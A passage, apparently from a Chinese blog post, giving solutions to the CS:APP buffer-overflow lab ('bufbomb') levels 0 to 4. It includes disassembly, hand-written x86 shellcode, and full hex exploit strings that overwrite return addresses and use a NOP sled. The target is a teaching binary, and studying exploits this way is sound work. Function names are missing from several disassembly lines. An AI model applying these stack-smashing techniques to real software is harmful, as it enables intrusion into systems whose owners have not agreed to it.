retaddr)+0x4(saved %esp)构成了getbuf的栈结构,具体结构图如下:
整个buffer共有48byte
*************************************************************************************************************************************************************************
level 0:
Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test
查找到函数的位置,
08049174 :
8049174:55 push %ebp
8049175:89 e5 mov %esp,%ebp那么把retaddr替换成08 04 91 74(注意little endian)即可
answer:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
74 91 04 08
前面的44个byte是任意填充的。
*************************************************************************************************************************************************************************
level 1:
your task is to get BUFBOMB to execute the code for fizz rather than returning to test.
08049129 :
8049129:55 push %ebp
804912a:89 e5 mov %esp,%ebp
804912c:83 ec 18 sub $0x18,%esp
804912f:8b 45 08 mov 0x8(%ebp),%eax
8049132:3b 05 c4 b1 04 08 cmp 0x804b1c4,%eax
8049138:75 1e jne 8049158 804913a:89 44 24 04 mov %eax,0x4(%esp)
这个比上一个复杂一点,要跳入函数,还需要在0x8(%ebp)中放0x804b1c4中存的数值。查找到这个地址中的数值,发现就是cookie值(po主cookie是0x51ade980),那么只需要把0x51ade980放入buffer中的0x8(%ebp)中即可。
在中先push %ebp 此时ebp位置在retaddr,那么0x8(%ebp)就是在栈顶下面的位置。
答案也就有了
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
29 91 04 08
00 00 00 00
80 e9 ad 51
*************************************************************************************************************************************************************************
level 2:
your task is to get BUFBOMB to execute the code for bang rather than returning to test
080490dc :
80490dc:55 push %ebp
80490dd:89 e5 mov %esp,%ebp
80490df:83 ec 18 sub $0x18,%esp
80490e2:a1 cc b1 04 08 mov 0x804b1cc,%eax
80490e7:3b 05 c4 b1 04 08 cmp 0x804b1c4,%eax
80490ed:75 1e jne 804910d
从这题开始难度增加,查看函数,要把内存中的0x804b1cc 中的值取出来与0x804b1c4(这个上一题已经得出是cookie值)比较,查看0x804b1cc,发现是一个,那么就要修改这个值,使其变成cookie值,写一段攻击代码如下:
movl $0x51ade980,%eax
movl %eax,0x804b1cc
利用gcc编译后得到.o文件再反编译得到其二进制代码,填入buffer,注意,还要查找到the start of input string来作为第一次retaddr,那么程序就从第一次return到我们输入的字符串,然后执行我们的攻击代码,再进入,完成任务。
查找start of input string的方法是在中设置断点(关于gdb使用请参考上一篇博文,关于bomb lab的那篇),查找-0x28(%ebp)的地址(这个地址是我们输入的buffer区的起始位置)
答案:
c7 05 cc b1 04 08 80 e9
ad 51 68 dc 90 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 48 3b 68 55
**********************************************************************************************************************************************************
level 3:
Your job for this level is to supply an exploit string that will cause getbuf to return your cookie back to test, rather than the value 1.
08048d25 :
8048d25:55 push %ebp
8048d26:89 e5 mov %esp,%ebp
8048d28:53 push %ebx
8048d29:83 ec 24 sub $0x24,%esp
8048d2c:e8 9f fe ff ff call 8048bd0 8048d31:89 45 f4 mov %eax,-0xc(%ebp)
8048d34:e8 6b ff ff ff call 8048ca4 8048d39:89 c3 mov %eax,%ebx
这关是要使的返回值设置为cookie而不是原来的0x1.那么同上题一样的思想,我们写一段攻击代码
movl 0x51ade980,%eax
pushl 0x8048d39
ret
按照上题提供方法得到二进制代码即可。另外,这个题因为是要按正常方式返回原函数,那么我们要保证saved ebp的值是正确的。saved ebp就是中的ebp值,同样使用gdb设置断点调试可以得到。按照栈结构将所得到的数据输入即可得到答案。
b8 80 e9 ad
51 68 39 8d
04 08 c3 00 00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
a0 3b 68 55 48 3b 68 55
**********************************************************************************************************************************************************
level 4:
Your task is identical to the task for the Dynamite level.Once again, your job for this level is to supply an exploit string that will cause getbufn to return your cookie back to test, rather than the value 1.
这题的要求任务与level3相同,只不过使用函数,会使得栈底在一定范围内变化5次。
08048c86 :
8048c86:55 push %ebp
8048c87:89 e5 mov %esp,%ebp
8048c89:81 ec 18 02 00 00 sub $0x218,%esp
8048c8f:8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
8048c95:89 04 24 mov %eax,(%esp)
8048c98:e8 54 ff ff ff call 8048bf1 8048c9d:b8 01 00 00 00 mov $0x1,%eax
8048ca2:c9 leave
8048ca3:c3 ret
我们可以得到这个栈空间是0x208+0x4+0x4的,结构同上。整个buffer共有528byte。
08048cbc :
8048cbc:55 push %ebp
8048cbd:89 e5 mov %esp,%ebp
8048cbf:53 push %ebx
8048cc0:83 ec 24 sub $0x24,%esp
8048cc3:c7 45 f4 ef be ad de movl $0xdeadbeef,-0xc(%ebp)
8048cca:e8 b7 ff ff ff call 8048c86 8048ccf:89 c3 mov %eax,%ebx
再查看新的,我们要完成任务,首先要复原%ebp内容,从函数中看出来这时的ebp应当是esp+0x24+0x4(push ebx)=esp+0x28.然后在将cookie赋值填入eax中
攻击代码如下:
leal -0x28(%esp),%ebp
movl 0x51ade980,%eax
push $8048ccf
ret
并将其按编译-反编译.o文件得到其二进制代码此外,由于每次栈的不确定性,我们需要先空执行程序,利用上面同样的方法查找到每次的start of input string。找到5个之后,(可能有相同的,不影响结果,这个可以认为是有两次执行的栈结构相同),为了使每一次input string都能完整被读入,我们就要选择最大的一个数据作为我们整个攻击代码的start of input string。至此,我们解决了大部分问题,最后,为了使每一个开始的位置都能进入我们的attack code 我们需要把文件的其他地方用nop(90)填充,这样才能使每次无论buffer的位置在哪里,都能滑到我们的攻击代码中。得到答案:
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
8d 6c 24 28
b8 80 e9 ad
51 68 cf 8c
04 08 c3 00
90 90 90 90
90 90 90 90
00 00 00 00 a8 39 68 55
lab3完成!